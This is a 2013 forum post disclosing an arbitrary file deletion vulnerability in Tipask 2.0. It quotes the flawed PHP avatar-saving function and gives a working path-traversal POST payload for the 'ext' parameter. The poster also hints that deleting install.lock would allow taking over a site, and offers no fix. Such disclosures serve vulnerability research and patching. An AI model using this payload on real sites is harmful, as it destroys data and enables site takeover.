搜索
查看: 420|回复: 2

Tipask 2.0 前台任意文件删除漏洞

[复制链接]

432

主题

573

帖子

2543

积分

核心成员

Rank: 8Rank: 8

积分
2543
发表于 2013-9-24 11:23:58 | 显示全部楼层 |阅读模式
简要描述:
* tipask可以调整头像保存并删除原始头像
* 在删除原始头像时使用了post提交的参数
* 造成任意文件删除漏洞
详细说明:
function onsaveimg() {

        $x1 = $this-> post['x1' ];

        $y1 = $this-> post['y1' ];

        $x2 = $this-> post['x2' ];

        $y2 = $this-> post['y2' ];

        $w = $this-> post['w' ];

        $h = $this-> post['h' ];

        $ext = $this-> post['ext' ];

        $upload_tmp_file = TIPASK_ROOT . "/data/tmp/" . 'bigavatar' . $this->user['uid' ] . $ext;

        $avatardir = "/data/avatar/"; //图片存放目录

        $scale = 100 / $w;

        resizeThumbnailImage( $smallimg, $upload_tmp_file, $w, $h, $x1, $y1, $scale);

        copy($upload_tmp_file, TIPASK_ROOT . $dir3 . '/big_' . $uid . $ext);

        is_file($upload_tmp_file) && unlink($upload_tmp_file);

        $_ENV[ 'user']->update_avatar($smallimg);

        $this->message( '头像设置成功!' , 'user/editimg' );

    }


可以看到onsaveimg函数直接调用post的ext参数并传入到$upload_tmp_file中,最后进入unlink。造成任意文件删除漏洞。
漏洞证明:
删除根目录下的test.php

post ext=/../../../test.php 到?user/saveimg.html



其实可以删除install.lock你们懂的
修复方案:
坐等忽略
您可以更新记录, 让好友们知道您在做什么...
854955425 该用户已被删除
发表于 2013-9-24 12:51:57 | 显示全部楼层
大家互帮互助
854955425 该用户已被删除
发表于 2013-9-24 16:05:18 | 显示全部楼层
路过,支持一下啦
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表